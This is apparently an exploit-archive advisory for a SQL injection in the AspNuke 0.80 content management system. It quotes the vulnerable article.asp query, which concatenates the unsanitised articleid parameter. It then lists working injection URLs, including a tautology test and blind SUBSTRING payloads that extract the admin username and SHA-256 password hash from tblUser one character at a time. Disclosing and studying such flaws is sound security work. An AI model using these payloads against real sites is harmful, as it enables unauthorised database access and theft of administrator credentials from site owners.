ASP Nuke SQL Injection Vulnerability

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ASP Nuke SQL Injection Vulnerability
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  Title            :  ASP Nuke Sql Injection Vulnerability
  Affected Version :  AspNuke 0.80
  Discovery        :  www.abysssec.com
  Vendor       :  http://www.aspnuke.com
 
 
  Download Links   :  http://sourceforge.net/projects/aspnukecms/
 
  
Description :
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1)- SQl Injection
  This version of ASP Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
 
  Valnerable Code  in .../module/article/article/article.asp:
 
  Ln 37:
        sStat = "SELECT art.ArticleID, art.Title, art.ArticleBody, " &_
        "       auth.FirstName, auth.LastName, " &_
        "       cat.CategoryName, art.CommentCount, " &_
        "       art.Created " &_
        "FROM   tblArticle art " &_
        "INNER JOIN tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_
        "INNER JOIN tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_
        "INNER JOIN tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_
        "WHERE  art.ArticleID = " & steForm("articleid") & " " &_
        "AND    art.Active <> 0 " &_
        "AND    art.Archive = 0"
 
 
   Considering to the code, you can browse these URLs:
    
       http://www.site.com/module/article/article/article.asp?articleid=7'                 (the false Query will be shown)
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--    (this Query is always  true)
 
   with the following URL you can find the first character of Username: 
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)--
    
   and second character:
       http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)--
    
   and so on.
    
   So you gain Admin's information like this:
       Username : admin
       Password : (sha256 hash)
 
 
   Which the Password was encrypted by SHA algorithm using .../lib/sha256.asp file.
 
 
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#  0day.today [2018-03-14]  #